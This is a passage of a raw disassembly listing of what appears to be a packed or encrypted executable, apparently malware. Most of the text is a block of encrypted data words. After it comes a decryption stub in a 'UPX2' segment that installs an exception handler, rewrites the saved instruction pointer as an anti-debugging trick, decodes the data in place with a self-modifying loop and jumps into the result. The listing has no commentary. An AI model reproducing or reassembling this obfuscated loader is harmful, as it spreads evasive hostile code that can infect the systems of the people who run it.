0E0A54960h, 51A076DCh dd 0BB8A559Fh, 683340D6h, 8020C064h, 19DEF56Dh, 0D79C056h dd 369C065Dh, 758F2860h, 0C7C6BF1Fh, 0B63EAAE5h, 83F040E0h dd 0B63EACC5h, 952D40E0h, 8016DE4Ah, 1CA14B0h, 0E872C00Ah dd 80A040E2h, 0BC6A559Fh, 0C02540D6h, 0D02B53Ah, 36BE1D6Dh dd 864A9260h, 1ECAF56Dh, 0D674C056h, 52F110B0h, 0BC6E559Fh dd 0FFF840D6h, 0B61C86F5h, 672586E0h, 8020F65Eh, 0A04C08h dd 0CF739760h, 32930BA3h, 0CC6C844Eh, 0AA35BFE0h, 1320F65Bh dd 0A04788h, 55954D60h, 59A076F8h, 0BC367DEDh, 2A4840D6h dd 68DF3F95h, 0A040ECh, 0C96E8937h, 2EF405AEh, 806C8C24h dd 3B0AD51Fh, 40A5C056h, 295C4EFh, 0E8B3C060h, 0A040E5h dd 993375EDh, 8DF940D6h, 0B61CF2DDh, 0F453A8E0h, 3DA33F9Fh dd 967CD6h, 90A4CF60h, 81A040E2h, 8021508Ch, 1C814E0h dd 7F20C061h, 369C5675h, 10E44160h, 50A040E1h, 804A14EBh dd 3635BFB2h, 520F65Ch, 0DD51920h, 80334808h, 0CA35BFE0h dd 6B20F65Bh, 6C1DC302h, 8020F67Eh, 852D6995h, 8016DE10h dd 2235BFB0h, 520F65Ch, 89244F20h, 0B20C061h, 2B4CA0h dd 5AFF09Fh, 965E8Ch, 0BE4745A6h, 6AA140D6h, 0EA21AA60h dd 2E35BFE2h, 320F65Ch, 84AFBF18h, 8020C100h, 6835CD73h dd 0EA20F67Eh dd 0FFF312F0h, 0B61CDEF5h, 0F60C5E0h, 802180E5h, 821DCDE0h dd 3120F67Eh, 0FA89A8E8h, 14483F9Fh, 5EA040E0h, 0B4A9264Bh dd 955F14C4h, 8016FBC2h, 1E30FD6Dh, 8191C056h, 0FF5A4A08h dd 0FDB54D9Fh, 6AA076FEh, 8034A860h, 53F240E0h, 0BC0A559Fh dd 442D40D6h, 15ADD444h, 9600E4h, 8A96CF30h, 1484046Bh dd 822820A1h, 4AB241AAh, 836AD262h, 88404EBh, 412F21E0h dd 0BF14800h, 7F30E424h, 0BD2D10D2h, 8016FC08h, 0A05C08h dd 0B60EE560h, 208E6098h, 0A51AE04Eh, 388E65C5h, 0A058E518h dd 4AAA33C5h, 0A06E892Fh, 955F17E0h, 8016FB3Ah, 0C8461h dd 804AC060h, 0FFF317B0h, 0B61CEAF5h, 842DCBE0h, 0EA20F675h dd 6BBBA3E0h, 6871CDA9h, 0A040E5h, 8A44E546h, 955F17E0h dd 8016FB3Ah, 50AC8463h, 8748CB8Bh, 8DA040E0h, 0B63E56DDh dd 0FFF317E0h, 0B61CEAF5h, 7E60C5E0h, 0E8954D34h, 83A076DCh dd 0B63544C5h, 8D2D40E0h, 8016FE07h, 0CA8ECBh, 7F739631h dd 369C6675h, 80D84360h, 8B316F9Eh, 0E8954D9Eh, 0B0A076DCh dd 0F58E326Dh, 174820F0h, 0E1DF3F9Ah, 9435792h, 6B21B7EDh dd 2B6FCB0Ah, 0E89D4DAEh, 0F3A076DCh, 6BD747C4h, 955F1359h dd 8016FC7Ah, 15CBFD60h, 0F421C056h, 759028CAh, 15DFC060h dd 967B2Ah, 0BE477DE0h, 74A040D6h, 0ECA50771h, 0A076FEh dd 4620C060h, 369E2765h, 88C9C060h, 0C75FBF1Eh, 0B635B4E5h dd 0A040E0h, 84E29DE0h, 4FAA4DE0h, 0EF4FAE40h, 66CF608Eh dd 0E649AC40h, 4F806185h, 0ED49B440h, 6FD46085h, 0EC45A340h dd 61D22285h, 8D01A514h, 208060EAh, 0A06FE040h, 6DCD3593h dd 0E700B205h, 65C43281h, 8A2DE10Eh, 65CC25B2h, 0E54CB40Eh dd 79CC3393h, 0F041A840h, 61803990h, 0E500A40Eh, 63C53098h dd 0F44EA114h, 74D360CCh, 0E944AE01h, 209A278Eh, 0D72ACD4Dh dd 68C33481h, 0A047AE09h, 20CC2C81h, 0A059A104h, 20C42E81h dd 0E847A90Eh, 66806C94h, 0E600B20Fh, 6EC52992h, 0C900B304h dd 69C137C0h, 8A2DFA14h, 72C528B7h, 0F241E005h, 6FD96085h dd 0E600EC15h, 6EC52992h, 0A01FB304h, 65CD2FA3h, 0F469E041h dd 20D329C0h, 0E54DA914h, 74E960C1h, 0EC00B347h, 21C53481h dd 0B0E74464h, 4F743AE3h, 0CC8261C8h, 100654C9h, 48BF0C60h dd 60CE3F4Fh, 424C0C3Ch, 0B9822430h, 9E438340h, 0A040E0h dd 8020C060h, 0A040E0h, 8020C060h, 0A040E0h, 8020C060h dd 0A040E0h, 8020C060h, 0A040E0h, 8020C060h, 0A040E0h dd 8020C060h, 0A040E0h, 8020C060h, 0A040E0h, 8020C060h dd 0A040E0h, 8020C060h, 0A040E0h, 8020C060h, 0A040E0h dd 8020C060h, 0C7C8D86Fh, 54854300h, 0A076DFh, 0BFF865E3h dd 0FA040D6h, 0D3483D7h, 0B7AF58B3h, 5023C62Bh, 2484046Bh dd 0F22C824Bh, 8E27BF9h, 0C2ABD413h, 0CE26BF4h, 0BFF455E9h dd 852940D6h, 8016FFB8h, 0C223450Bh, 0E1F92248h, 88A04422h dd 0B604A6E5h, 0C4A8E0h, 0A048C060h, 8DA040E0h, 0B60353E5h dd 189919E0h, 40A3CC14h, 0FF57A2E4h, 0B61F74E5h, 0D95783E0h dd 0A4464D63h, 104340D6h, 0FDCB09Fh, 448C3E0h, 1DA93682h dd 966373h, 0F420FAE3h, 3926BE5h, 0CEADD012h, 5EFB181Ch dd 0F420FAE3h, 0EB92BFE4h, 90523F63h, 0FF5F1708h, 0ABEEEB9Fh dd 369F986Dh, 0CB239860h, 852F83D4h, 8016FFD8h, 3F14C527h dd 8020C056h, 3C4840E0h, 0B20C060h, 369FF465h, 76B62860h dd 1848BF1Fh, 320C060h, 369FF45Dh, 8855C060h, 24AFDD69h dd 1CCBC056h, 3F14CD1Fh, 0FE3C056h, 369FF865h, 34B54960h dd 0E8A076DFh, 8020C063h, 8B6389D3h, 802040F3h, 0ED4812E0h dd 83DF3F9Eh, 369F9875h, 3F6C360h, 0FA04C9Ah, 8021C7E4h dd 10DAC3E0h, 7DA4CF60h, 8BA040E0h, 6870CC22h, 0FF5FBE28h dd 0BFF84563h, 0C6A340D6h, 284A30h, 19D44019h, 0F40E39E0h dd 0F14B00E3h, 12188EBh, 0DF7F9F01h, 0C4D941BFh, 75A00CACh dd 480B998Ch, 0F5AB963h, 802077EFh, 782126E0h, 8F12F39Eh dd 0A0EB65h, 0BAA39660h, 8BA535E0h, 82CBD02Ah, 0F1A34A6Bh dd 7E522831h, 0B5A3BF1Fh, 8016FFB8h, 7860C54Dh, 4A4CF9Bh dd 0FFA040E0h, 0B61F18D5h, 554810E0h, 83DF3F9Eh, 369F9865h dd 58A54F60h, 3A076DFh, 373E464h, 0DB934220h, 6328766Fh dd 2069C0F2h, 0A4040133h, 24BC69E4h, 0DB04CC49h, 8149ABA0h dd 3BF7CF9Bh, 819E343Dh, 0EE65689Bh, 8196343Bh, 211B999Bh dd 818E341Fh, 3502169Bh, 8186344Ch, 0D8C9539Bh, 81BE3413h dd 0D8C9BD9Bh, 81B63413h, 0A51F869Bh, 81AE3401h, 0A51FF09Bh dd 0FFA63401h, 0B61F78F5h, 71491BE0h, 0DEDF3F9Fh, 0E9B48263h dd 7FDF3E8Fh, 4CA4223h, 75162838h, 9528BF1Fh, 8016E620h dd 1891F886h, 64E02262h, 664242E3h, 0D826AACBh, 0FF555B08h dd 88E2439Fh, 5CA9167h, 752E2838h, 0FA20BF1Fh, 302BB363h dd 402542B0h, 2A20F646h, 68CA670Bh, 7AA06A38h, 0B0B835E3h dd 74CE2871h, 118BF1Fh, 420C060h, 0D1AD3432h, 6BEA3E80h dd 0B8A5AB16h, 20C060h, 0C31FA24Bh, 0B89055EDh, 0D78B40D6h dd 77E31A97h, 3698E565h, 8020C060h, 0C0354FE8h, 762B20A1h dd 3698E365h, 8655C160h, 25294D86h, 5D6D38Bh, 967843h dd 0E626B562h, 0EB8571EDh, 812DA664h, 0E80B26C5h, 7FDF3FDCh dd 8994036Bh, 0B61F0CF5h, 0F763EBE0h, 0B61865E5h, 0A040E0h dd 40B5CF68h, 0E80AFCE4h, 7FDF3FFCh, 3F70D569h, 5D6C056h dd 967843h, 8F24B561h, 2BA2ABD1h, 77E36BA0h, 3698E565h dd 8020C060h, 8A8734E8h, 0B6185FE5h, 0B4081E0h, 0C5ABCD06h dd 0F810EB86h, 1FA54ACAh, 0C1A076D8h, 0E725DB80h, 0ABA6C984h dd 2B460053h, 6418520Bh, 2B20C5EFh, 383FC56Ah, 0D824C056h dd 0ABB8A021h, 6BDC70A3h, 0EB1826C0h, 6B8BA660h, 58A42AF9h dd 7FD33F88h, 0D2A4CD1Fh, 0E62820A1h, 6660C9E5h, 30232BCBh dd 2CAEA70h, 73C62838h, 0D224BF1Fh, 884AF214h, 0F37AA8B8h dd 4ADE3F9Fh, 0C5D48392h, 49540A9Eh, 0DBD48A1Eh, 8C540A9Eh dd 0CD48A1Eh, 8C540A9Eh, 0CD4BB950h, 49CB3DD0h, 0C54BB550h dd 41CB38D0h, 0B01DCD23h, 7720F658h, 3698E565h, 8020C060h dd 0B0A33460h, 5D76A00h, 967845h, 8820C060h, 55184794h dd 2B202CEBh, 0A525B7AFh, 8320F658h, 0FA140E0h, 802017E4h dd 0AA48F0E0h, 3C9D49CBh, 0B0A076DFh, 98B6A88h, 369F805Dh dd 25A53760h, 3A076D8h, 0F420C060h, 0A525B7F5h, 8020F658h dd 74A140E0h, 7EE12865h, 0E910BF1Fh, 5AB6BCAh, 967F5Ch dd 480B0FEBh, 3F64FD69h, 0C8A9C056h, 64C7F81Ch, 0B38BF69Fh dd 0F70B2620h, 0B61865E5h, 0A043E0h, 762EB460h, 3698E365h dd 85544060h, 0FF5E0208h, 0E447789Fh, 330B6669h, 778BA6A0h dd 3698E565h, 8020C360h, 0F6F534E0h, 0B61863E5h, 5D5C0E0h dd 7FDEDE88h, 0FD04A81Fh, 0A0903F9Fh, 0FF5BF608h, 0E619239Fh dd 66B5BF58h, 0B8B51CBh, 3698E575h, 77F23760h, 0A04322h dd 6834B560h, 0FF5FBD9Eh, 10C8DFD0h, 665FBF1Bh, 0E6353FD8h dd 8B0BD14Bh, 44A54BAFh, 2BA076DFh, 7C6849A8h, 3805C517h dd 8023C056h, 2ED440E0h, 0B8854597h, 0A040D6h, 0A254C660h dd 3805C517h, 8020C056h, 5D541E0h, 7FDD3288h, 0A525B71Fh dd 8020F658h, 74A440E0h, 7E2D2865h, 8557BF1Fh, 8016F8C5h dd 0A040E4h, 0E7C8D714h dd 0B85FBF1Eh, 48DE0049h, 0C0A8F84Bh, 388BC414h, 674BB895h dd 25A537CBh, 8A076D8h, 0F520C060h, 0A31DC0AFh, 8020F658h dd 3B480694h, 38DF3F9Eh, 0C98958C9h, 0B8BF656Ah, 0E46040D6h dd 1F85CA63h, 0ABA076D8h, 0A8A71D0h, 3698E365h, 0C0906A60h dd 383FC5EAh, 0E68AC056h, 0F75DA258h, 0B61865E5h, 0A050E0h dd 3027B460h, 0B8C6EAA9h, 2B463C15h, 330AA850h, 3DA96BA0h dd 967F48h, 0B8854597h, 8040D6h, 8955C060h, 85AA1850h dd 8016F8FDh, 8118264Ah, 25A537A0h, 40A076D8h, 0F420C060h dd 2864C0E3h, 0B8BD656Ah, 0ABC640D6h, 0BF8C7DE9h, 0F70B40D6h dd 0B61865E5h, 0A040E0h, 3029B520h, 9D2542B0h, 2A20F658h dd 3805C517h, 80A0C056h, 0BD540E0h, 52A78D0h, 96787Eh dd 0E61D2BCAh, 0F7B87158h, 0B61865E5h, 0A140E0h, 3022B460h dd 9E054AC9h, 4020F658h, 0A5AA4304h, 8016F8FEh, 0B8C6EB86h dd 5D730E1h, 967845h, 8020C260h, 0C8144295h, 0B8BE656Ah dd 0ABC640D6h, 0BFE87DE9h, 0B01840D6h, 2B20C048h, 3805C517h dd 8028C056h, 71D440E0h, 7FDDF188h, 0A525B71Fh, 8020F658h dd 75A040E4h, 8A98706Bh, 3698DF65h, 0CDCB6A60h, 3805C517h dd 8820C056h, 11D540E0h, 60A37806h, 383FE5EAh, 2B46C056h dd 0EB0A80D3h, 0A998A675h, 9F054AF8h, 4020F658h, 0A5AA4304h dd 8016F8FFh, 8557EB86h, 8016F8C5h, 0A050E0h, 40A17806h dd 0C4204394h, 1F85CA68h, 66A076D8h, 596CFCBh, 967843h dd 7CE028CBh, 8557BF1Fh, 8016F8C5h, 40A040E0h, 0D090C914h dd 383DC5E2h, 778AC056h, 3698E565h, 8000C060h, 7526F0E0h dd 0D24C462h, 0A52ABEAFh, 8016F8FDh, 3F10CD69h, 2B46C056h dd 75A5BC60h, 207067h, 0AAE0BFAFh, 7FDCB988h, 0A525B71Fh dd 8020F658h, 66A040A0h, 0F511A6D8h, 6689F4E2h, 8A3870CBh dd 3698DF65h, 83C00060h, 0FCF4A84Ah, 8903F9Fh, 3805C517h dd 20C056h, 2D540E0h, 25AA46D0h, 96787Dh, 7CA06B06h, 0B0A735E5h dd 7F6F4060h, 2B48EAA0h, 77DF3F9Ch, 3698E565h, 8120C060h dd 0B0AB35E0h, 1DA5CA20h, 0AAA076D8h, 3846CF8Bh, 0A5AA8063h dd 8016F8FDh, 110EB86h, 25A537CAh, 0A076D8h, 0F520C260h dd 0A525B7CFh, 8020F658h, 75A044E0h, 8AE0707Ah, 3698DF65h dd 24854A60h, 0C1A076D8h, 3846D080h, 0B00BC186h, 30282B60h dd 9F254AA0h, 2A20F658h, 3805C517h, 8020C056h, 10D540E8h dd 68A37806h, 383EE5EAh, 2B46C056h, 84B4150h, 52A88D0h dd 96787Eh, 25A537CAh, 0A076D8h, 3120D060h, 66853595h dd 8AD843D8h, 3698DE45h, 0B38BA660h, 0BD89EA20h, 8016FFD0h dd 3805C517h, 8020C056h, 1FD540C0h, 9BCBB7D1h, 18A9F886h dd 0B8BE656Ah, 0E46040D6h, 1E85CA63h, 66A076D8h, 309DE9CBh dd 8AA076DFh, 30854AA1h, 66A076DFh, 827870CBh, 3698DD65h dd 5D76A60h, 967845h, 8120C063h, 85576294h, 8016F8C5h dd 4A040E0h, 5D7D615h, 967845h, 8320C060h, 84484595h, 68DF3F9Ah dd 0FF5FBA4Bh, 0B8854597h, 0A040D6h, 8354C860h, 0F70A8950h dd 0B61865E5h, 0A040E0h, 3000B4E0h, 9D256AE7h, 4120F658h dd 89AD5A00h, 8220E468h, 3698DD45h, 83C40060h, 0ABA48460h dd 0E68AA1D0h, 0A40BF58h, 0B6185DC5h, 0F70B26E0h, 0B61865E5h dd 0A060E0h, 7773B460h, 3698E565h, 8020C060h, 0F7AD34C0h dd 8020C3A7h, 0B0A534E0h, 73CB6AF0h, 8D2B876Bh, 8016FFC8h dd 412981CBh, 8A78709Ch, 3698DD65h, 5D76A60h, 967845h dd 8060C060h, 0B8C64C94h, 52A0330h, 96787Dh, 3846CA8Bh dd 0A5AAA01Fh, 8016F8FDh, 8557EB86h, 8016F8C5h, 1A040E3h dd 5D7B314h, 967845h, 0A020C060h, 0C7574D94h, 8020C063h dd 90104594h, 0BD32BCAh, 0C025CB2Fh, 0AB20F65Fh, 0FCE8C928h dd 5D70953h, 967845h, 80A0C060h, 852D4E95h, 8016F8FDh dd 80E0486Ah, 7853C399h, 446D446Dh, 4120D044h, 8B104800h dd 0E62623CBh, 66607158h, 0F98A6CBh, 182860h, 6122C060h dd 0ABF8EB86h, 865509E5h, 0C091F886h, 43906B06h, 0B025CD4Ah dd 7720F658h, 3698E565h, 8020C060h, 57A635F0h, 6B78384Bh dd 28F3CBF9h, 500B384Bh, 3F68CD6Bh, 1521C056h, 967F48h dd 0C4ABF961h, 0BD2944C4h, 8016D007h, 3F0CFD6Bh, 50BC056h dd 967F48h, 0B8854597h, 0E040D6h, 8254C060h, 0C20B9817h dd 0D776C064h, 3F40FD63h, 8F20C056h, 0A19964h, 802D2860h dd 45EB40E0h, 0CC658E32h, 448E72D3h, 7F208C2Ch, 369BD275h dd 74A54960h, 53A076DFh, 831C98EBh, 28D3BF38h, 681483EBh dd 0FF5FB500h, 0BFF455EBh, 3FB40D6h, 5A9CC22h, 967F18h dd 9288263h, 369FBC65h, 0A8534B60h, 20F31Fh, 39C8C060h dd 8B5FBF15h, 0B61F14DDh, 0AD4816E0h, 0BDF3F95h, 369F9475h dd 886A4B60h, 2BAC0AE3h, 85C943AEh, 1C0C8EFh, 42FC060h dd 0A041BAh, 0BFF87563h, 0B5A340D6h, 8016FFF8h, 0F487C4Ch dd 802062E5h, 4E6CDE0h, 0BFB8454Bh, 6A340D6h, 754A2830h dd 0BD23BF1Fh, 8016FFB4h, 3BAB35E0h, 32FCC27h, 0A041FBh dd 1519CC8Bh, 967F34h, 812D456Fh, 85A340E0h, 8016FFF8h dd 0FF98C186h, 7CA5CF45h, 8BA040E0h, 0C30BC220h, 2D4810D4h dd 0B9DF3F95h, 369F945Dh, 64A5CF60h, 3A040E0h, 0B61F18E5h dd 982543E0h, 0B20F65Fh, 0CE76BE0h, 80ED426Fh, 479B40E0h dd 44A3CF68h, 83A040E0h, 0C723C2A0h, 982543F4h, 0D220F65Fh dd 0F415BFB0h, 7F20F65Fh, 369B1275h, 40A59A60h, 17C5EFh dd 1CC9C060h, 3CA040E0h, 14A5CF9Fh, 80A040E0h, 52FD55Eh dd 0A0406Bh, 0AB2186EBh, 0E8F074A3h, 7FDF34DCh, 3F74FDD9h dd 0F755C056h, 3F78C5E3h, 523C056h, 967F78h, 0C02045E9h dd 2B40D6h, 0BFD8455Bh, 8D240D6h, 0BFDC455Bh, 69D240D6h dd 8020C05Dh, 0E8973290h, 8020C07Fh, 8B5C0E6Dh, 8322EBA1h dd 859B50A2h, 80168060h, 0C4234C95h, 0F113F70h, 61BC64A4h dd 0FE3DB8Bh, 369FF865h, 35ABA060h, 967F78h, 7FD59A88h dd 9211Fh, 0F5A0C060h, 0CE76BEEh, 0C71BC912h, 3C224FE8h dd 0C9DF3F9Fh, 0FE12C5EFh, 0BCAB3F9Fh, 0A507C1C4h, 7F20C048h dd 0EBDFBF1Fh, 0A46A4122h, 0E0A04080h, 0BE0F32Eh, 852764ECh dd 8016FF80h, 3F7CC569h, 39ADC056h, 0A06849h, 0BFB84563h dd 0A5C640D6h, 460B8EC5h, 2BB402E3h, 0C6E6CC22h, 8167A81Bh dd 8020C032h, 0A040E5h, 0DFDC86E9h, 0FFF783BEh, 0B61B5EF5h dd 1F4881E0h, 813A456Fh, 54F040E0h, 7F4AE80Ah, 3B5ED51Fh dd 40A5C056h, 5284FBFh, 6820C061h, 0FF5FA5A0h, 8020D188h dd 74C513E0h, 0E54CA926h, 75C325B3h, 0F954A912h, 0B55F40A1h dd 8016FF0Ch, 3BF2D51Fh, 5A9C056h, 967F94h, 8020D988h dd 54C513E0h, 0CF45AB01h, 72C52E97h, 0F049A813h, 76C932B0h dd 0E745AC09h, 0E8F74085h, 7FDF2971h, 0A05308h, 0D2459360h dd 6FD43385h, 0F270A512h, 6CC93689h, 8045A705h, 0E853A8B7h dd 92C83F9Fh, 53A040E0h, 0E3418205h, 50D0358Bh, 0E956A912h dd 65C7258Ch, 56C89760h, 0E85FBF08h, 8020C078h, 68E325B3h dd 0E547AE01h, 69D42FAEh, 0F270B906h, 6CC93689h, 8045A705h dd 0E813A8B7h, 0D4703F9Fh, 3A10C56Dh, 0E44AC056h, 57A12AB0h dd 0BC2A559Fh, 3C2940D6h, 0C6B53F44h, 2AA076DBh, 0E89D4DA0h dd 50A076DEh, 35DF9030h, 967A50h, 8420C108h, 1CA14E0h dd 0F4B53F37h, 54A076DFh, 7F77C40Ah, 369F3475h, 94E44360h dd 3FCCF51Fh, 15DFC056h, 967B62h, 35AD033Fh, 967E88h, 6B53F36h dd 83A076DBh, 42F3F98h, 0A0405Bh, 0BF5845E9h, 0CA40D6h dd 42B53F36h, 85A076DBh, 24A4CFA0h, 2BA040E0h, 0EA7090A0h dd 1CA10E3h, 8020C008h, 955F1620h, 8016FB02h, 0F5FB863h dd 802528E4h, 7C25C9E0h, 0D20F65Fh, 369FC06Dh, 8B54D60h dd 51A076DFh, 0D020AA32h, 3B2ED51Fh, 78A3C056h, 0B6244F1Fh dd 0EA20C065h, 7C15BFE0h, 7F20F65Fh, 369BCA75h, 7FD84360h dd 53FC4EFh, 5A9C060h, 967F70h, 43230953h, 6AF110B1h, 35DF9164h dd 967F9Ch, 0BB46559Fh, 0C02540D6h, 855B446Fh, 0C99340E0h dd 0BFB445E9h, 51F140D6h, 803FA831h, 0FFF040EFh, 0B61B6EF5h dd 0F60C5E0h, 8025F4E4h, 9825C9E0h, 4320F65Fh, 0D04858h dd 0B86B4B60h, 3805C517h, 8020C056h, 6D550E0h, 90474563h dd 0D29340D6h, 71D70163h, 8529A117h, 8016FFC4h, 88EF58h dd 0BC6B4B60h, 10C7C5E3h, 5213C056h, 0F15781E3h, 5A92197h dd 967F7Ch, 0CB97CFA3h, 3543B9E6h, 8F3893EDh, 3B40357h dd 414B89B0h, 817043C8h, 0E9579F5Ah, 1DD4B98Eh, 812CBAE3h dd 4B2BA092h, 94624B5Ch, 8DB002E3h, 77DF8824h, 3B616339h dd 0B61F50E5h, 542B83E0h, 4013D044h, 18C26Fh, 0BE3C060h dd 8DABAB2Fh, 0B61EA8DDh, 0DF2BBCE0h, 0BC8C0953h, 3CA63281h dd 0AC22B71Ah, 5C9CEAC0h, 0AE1C2C14h, 9C9D94h, 49C32815h dd 459D416Bh, 0F4208538h, 43F37DEBh, 52FC032h, 0FF5FBFD3h dd 0D71DC3EBh, 0FE30EA9h, 7FDFE6E4h, 43F77D1Fh, 42F8E35h dd 0FF5FBFFBh, 0B363975Dh, 10244FD2h, 0BDDF3F9Fh, 4FF413B0h dd 7F25446Fh, 0DB93BF1Fh, 7FDEED88h, 0E8B0351Fh, 7FDF3C9Ah dd 0FF5E6108h, 6CA4CF9Fh, 335FBF1Eh, 803628B2h, 634840E0h dd 68DF3F9Fh, 0A040E0h, 0D3CD413Dh, 0E9A076D3h, 8020C3BBh dd 8B92BF84h, 0B61F58D5h, 222924E0h, 0CD1E4106h, 0C4254FBAh dd 0B20C063h, 0DEA37CBEh, 0D01B4106h, 0B4254FA5h, 7720C063h dd 20A056A3h, 52FC060h, 0A04347h, 827C8396h, 33DC4EFh dd 0C3ABC060h, 0A0007DE8h, 42F60C0h, 0A0436Fh, 0A000E05Dh dd 84244FC0h, 6820C063h, 0FF5FBE59h, 8359426Fh, 0A52340E0h dd 8016FFBCh, 8E2CBE0h, 0AB308AEBh, 33A43321h, 83252BA0h dd 10EAC928h, 0BF8045E9h, 4AA340D6h, 8020786Ch, 0E8F140E1h dd 7FDF27F0h, 3803D5D0h, 0A091C056h, 3804F5D0h, 0A04AC056h dd 78F8891Eh, 67562874h, 0D225BF1Fh, 53E2546Fh, 0A5357102h dd 6B20F658h, 0A525B705h, 8020F658h, 74A140E0h, 25A53742h dd 3A076D8h, 0F520C060h, 0A505C1ECh, 7F20F658h, 0EB5BBF1Fh dd 25AD416Ah, 0A076D8h, 0E828C060h, 0A040E6h, 8026A839h dd 0E8F840E0h, 7FDF2748h, 383DC56Ah, 4A6C056h, 3698DDCAh dd 1DA54860h, 0E2A076D8h, 25A53780h, 8A076D8h, 0F520C060h dd 9F1DC0E9h, 8120F658h, 85578594h, 8016F8C5h, 8A040E0h dd 3DA0DB14h, 96787Dh, 90B465h, 3698DE5Dh, 2754C560h, 383FFD60h dd 0F425C056h, 0A525B77Eh, 8020F658h, 742040E0h, 1D9D4069h dd 2A076D8h, 25A34917h, 967F00h, 73272860h, 6148BF1Fh dd 68DF3F9Dh, 0A04290h, 0BFBC5DEBh, 9DA340D6h, 8016FFC0h dd 0FF5C3908h, 0D0A4CF9Fh, 8BA040E2h, 0B61F58D5h, 3CFECBE0h dd 0FAC81E63h, 0F5FBF1Dh, 8022FAE2h, 24EAC1E0h, 6020C000h dd 56F2BE6Bh, 8334BA63h, 8557509Ah, 8016F8C5h, 10A040E0h dd 3DA9D415h, 967F04h, 0B89075EDh, 8D2B40D6h, 8016D007h dd 0B9F7E413h, 8020CA4Ch, 10A0F56Dh, 25D3C056h, 2434051h dd 5D76493h, 967845h, 9020C060h, 0EC4EFh, 0F3DFC060h, 0EE16A8C8h dd 15AB3F9Fh, 967F34h, 42F12E5h, 0A04078h, 0BFB875EBh dd 4A2B40D6h, 0A46A4170h, 0E0A04080h, 0F3288A4Bh, 36973E2h dd 0D1BD412h, 965087h, 90474DEBh, 56D240D6h, 304FCEBh dd 36B02745h, 27A3C060h, 0A04087h, 885A4B60h, 3A80AE1h dd 0BD74797h, 369FEC65h, 25A53760h, 40A076D8h, 0F420C060h dd 3B8B7E2h, 0B009CC12h, 3F40F569h, 0F3ABC056h, 0F79041C8h dd 0B61865E5h, 0A000E0h, 7722B460h, 494811F8h, 0D9DF3F9Ch dd 73A34C0Bh, 8C52EB48h, 0A45316B1h, 35AD993Fh, 967850h dd 0BFC47DE9h, 0A45340D6h, 0B12F9E3Fh, 0D327CD72h, 0BA20C060h dd 3698E375h, 0E926B560h, 34F63832h, 70704872h, 0FF7AE008h dd 0CAAB9A9Fh, 10EA43ECh, 0B8854597h, 0A040D6h, 0C1ADD060h dd 89B335E5h, 0B61F20EDh, 672543E0h, 320F670h, 0A02747h dd 0C30BC060h, 5227C9C8h, 7720C060h, 369C2065h, 8020C160h dd 0C7A734E0h, 2080C823h, 8557E040h, 8016F8C5h, 80A040E0h dd 6872C714h, 0FF5FB79Ah, 60AD4B3Ah, 0E3A076DFh, 0A86B4965h dd 8D2B4D0Bh, 8016FFBCh, 34B4203h, 77088BEBh, 3698E565h dd 8020C360h, 8BB434E0h, 0B61F24E5h, 0D02D43E0h, 8320F65Fh dd 369F8C65h, 0B28C160h, 852B50AAh, 8016FFFCh, 73A80AD9h dd 886A4963h, 83B002E1h, 0B209803h, 369FE465h, 0A890A860h dd 42A140E0h, 0C3219968h, 0A335CAB0h, 7720F658h, 3698E565h dd 8020C060h, 3A634F0h, 0B630A7EDh, 0F7A0F6E0h, 0B61865E5h dd 2A040E0h, 7E34B560h, 0A525B726h, 8020F658h, 75A044E0h dd 24954A66h, 0F7A076D8h, 0B61865E5h, 0E040E0h, 0A2BB560h dd 0AA6242E7h, 77C21662h, 72A490Bh, 828A0252h, 3357A236h dd 0A2ABA4B2h, 58A2CF84h, 0BF5C7DE3h, 0FA040D6h, 7FDA1EE4h dd 9815BF1Fh, 7F20F65Fh, 369B9275h, 14953F60h, 0FFA076DFh dd 0B61B86F5h, 802DCDE0h, 0D20F65Fh, 369FC875h, 0EA729160h dd 7C15BFE0h, 7F20F65Fh, 369B8675h, 0FC953F60h, 0FFA076DFh dd 0B61B86F5h, 6815CDE0h, 7F20F65Eh, 369F3855h, 15DF9660h dd 967B22h, 0BF5C65E3h, 0C3A040D6h, 8020C088h, 1CA1DE0h dd 0B7902DE1h, 0F0F840D6h, 0F4A5016Fh, 85A076F5h, 48A303A0h dd 0C1AFB01Fh, 0B635B4E5h, 109D83E0h, 0F520EA60h, 7C2126FCh dd 0F14CCC44h, 0E8C05395h, 7FDF3FA4h, 0D4484595h, 68DF3F9Ah dd 0FF5FBF32h, 0ADDFEE01h, 12941698h, 8020E5D8h, 0A54820E0h dd 0F5DF3F9Fh, 24E4CBD9h, 0E8954D50h, 8BA076DEh, 146C830h dd 73A246DAh, 80489645h, 8BA0BFE0h, 0D220AAA4h, 1235BFB0h dd 320F65Ch, 3E214824h, 0DC1FFF3Ch, 0C6234395h, 7AA12864h dd 7F48BF1Fh, 0E1DF3F9Fh, 0D4F823h, 31CBC060h, 0A06F58h dd 803D2860h, 206240E0h, 80107860h, 104840E0h, 4220C060h dd 851840C4h, 6820C061h, 0A040E3h, 0D20ECA2h, 0CDAC64B4h dd 80D8434Eh, 0E8C0599Ch, 8020C060h, 3084146Bh, 13A4B3Dh dd 3698C70Dh, 619A2860h, 0C2C1BF1Fh, 8227C064h, 6A145E3h dd 3E49A3A4h, 15FF69CDh, 1001194h, 90h, 1CDh dup(0) dd 12FFE000h, 13DFh dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp call sub_31432017 call sub_31432088 mov ebp, 12FFC0h ; DATA XREF: sub_31432017+Cw jmp loc_3143204B ; =============== S U B R O U T I N E ======================================= sub_31432017 proc near ; CODE XREF: UPX2:31432003p push dword ptr fs:0 mov fs:0, esp add dword ptr ds:loc_3143200D+1, ebp xor eax, eax push eax push 100h push eax push eax push 400h push 80000000h push 80000000h push eax push eax push eax call ds:dword_3142808C ; LoadLibraryA loc_3143204B: ; CODE XREF: UPX2:31432012j call $+5 pop edx add edx, 45h mov ecx, 28B0h sub ebx, ebx or ebx, 3Fh stc push edx loc_31432066: ; CODE XREF: sub_31432017+60j xchg al, [edx] stc sub ax, bx xchg al, [edx] cld add edx, 1 inc ebx dec ecx cmp ecx, 0 ja short loc_31432066 pop edx mov ebx, [ebp-8] mov fs:0, ebx leave jmp edx sub_31432017 endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_31432088 proc near ; CODE XREF: UPX2:31432008p arg_C = dword ptr 10h mov eax, [esp+arg_C] pop dword ptr [eax+0B8h] xor eax, eax retn sub_31432088 endp ; sp-analysis failed ; --------------------------------------------------------------------------- call $+5 mov eax, [esp] cld mov [eax+2FE3h], ebx test dword ptr [eax+28A0h], 80000000h mov ebx, [esp+4] jz short loc_314320E0 pop ecx mov [eax+2FE7h], esi mov [eax+2FEBh], edi cmp byte 